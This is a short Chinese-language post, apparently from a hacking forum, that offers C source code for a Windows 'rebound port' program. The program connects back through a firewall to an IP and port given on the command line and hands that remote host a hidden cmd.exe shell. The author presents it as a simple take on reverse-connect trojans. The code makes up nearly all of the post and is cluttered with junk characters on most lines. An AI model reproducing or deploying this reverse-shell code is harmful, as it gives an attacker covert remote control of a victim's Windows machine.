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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 _UBJPb@=U  
p=-B~:  
/* ============================== bpF@}#fT  
Rebound port in Windows NT /[|}rqX(  
By wind,2006/7 D;^ZWz0  
===============================*/ vQBY1-S  
#include dVVvG]  
#include lYZ@a4TA  
?mYV\kDt\  
#pragma comment(lib,"wsock32.lib") c(Uj'uLc  
U)`3[fo  
void OutputShell(); cB|Cy{%  
SOCKET sClient; hDB`t $  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; |,a%z-l  
LTYu xZ  
void main(int argc,char **argv) ilIV}8  
{ \9>g;qPg}  
WSADATA stWsaData; _yxe2[TD  
int nRet; f`u5\!}=!  
SOCKADDR_IN stSaiClient,stSaiServer; b#Fk>j  
M=\d_O#;Z  
if(argc != 3) PK-}Ldj  
{ )-Mn"1ia  
printf("Useage:\n\rRebound DestIP DestPort\n"); G {pP}  
return; kol,Qs  
} 'TK$ndy;7}  
)~?S0]j}  
WSAStartup(MAKEWORD(2,2),&stWsaData); [al(>Wr9  
C NzSBm  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); } Jdh^t.  
yRq8;@YGY  
stSaiClient.sin_family = AF_INET; f0cYvL ]  
stSaiClient.sin_port = htons(0); }P&1s,S8J#  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ]s*[Lib  
Bt*&L[&57  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) %/tGkS6  
{ w>z8c3Dq}  
printf("Bind Socket Failed!\n"); =0PNHO\gl  
return; ^B<PD]  
} =0 C l  
/\,_P  
stSaiServer.sin_family = AF_INET; Io,/ +#|  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); kH>vD = q>  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); K)9j je  
H#kAm!H  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 8"?Vcw&  
{ Sg CqxFii  
printf("Connect Error!"); m0%iw1OsH%  
return; /^z/]!JG:V  
} w!B,kqTG  
OutputShell(); )T.pjl  
} M73VeV3DL  
Y'<uZl^aX  
void OutputShell() FhY{;-W(T  
{ ]Efh(Gb]  
char szBuff[1024]; +?"HTDBE||  
SECURITY_ATTRIBUTES stSecurityAttributes; |z!q r}i  
OSVERSIONINFO stOsversionInfo; Q QsVIHA  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; {UX"Epd);n  
STARTUPINFO stStartupInfo; 5bF9I H  
char *szShell; AMh37Xo  
PROCESS_INFORMATION stProcessInformation; G_2gKkIK-  
unsigned long lBytesRead; DGa#d_I  
f7_\).T  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); L;.VEz!  
r/N[7 *i  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); tAb;/tM3I  
stSecurityAttributes.lpSecurityDescriptor = 0; IL+#ynC  
stSecurityAttributes.bInheritHandle = TRUE; 4DQ07w  
+X* F<6mZ  
' D)1ka.  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ; d, JN  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); KA|&Q<<{@  
27Kc -rcB  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); zK ' _e&*  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Xmf  
stStartupInfo.wShowWindow = SW_HIDE; $n=W2WJ6f  
stStartupInfo.hStdInput = hReadPipe; <O,'5+zG%  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ++Rdv0~  
M&|sR+$^  
GetVersionEx(&stOsversionInfo); S4l)TtY  
?VMi!-POE  
switch(stOsversionInfo.dwPlatformId) G zJ9N`  
{ ;H7EB`  
case 1: q5:0&:m$4$  
szShell = "command.com"; %mK3N2N$  
break; 8~&F/C*  
default: l]a^"4L4`o  
szShell = "cmd.exe"; lF; ziF  
break; =Q/w%8G  
} -,K*~ z.l  
E<D+)A  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); a-T*'F  
O tXw/  
send(sClient,szMsg,77,0); [ E$$nNs  
while(1) !XgQJ7y_Z  
{ FSW3'  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); NDB*BmG  
if(lBytesRead) S KB@  
{ 8eOl@}bV  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); (,- 5(fW  
send(sClient,szBuff,lBytesRead,0); g2[K<  
} L0X&03e=e:  
else ]uBT &  
{ F`YFo)W  
lBytesRead=recv(sClient,szBuff,1024,0); X0^zw^2W  
if(lBytesRead<=0) break; S2koXg(  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); p&k 0Rx0Q3  
} 6obQ9L c  
} ucQezmie  
G*)s%2c>h  
return; (A7T}znG  
}
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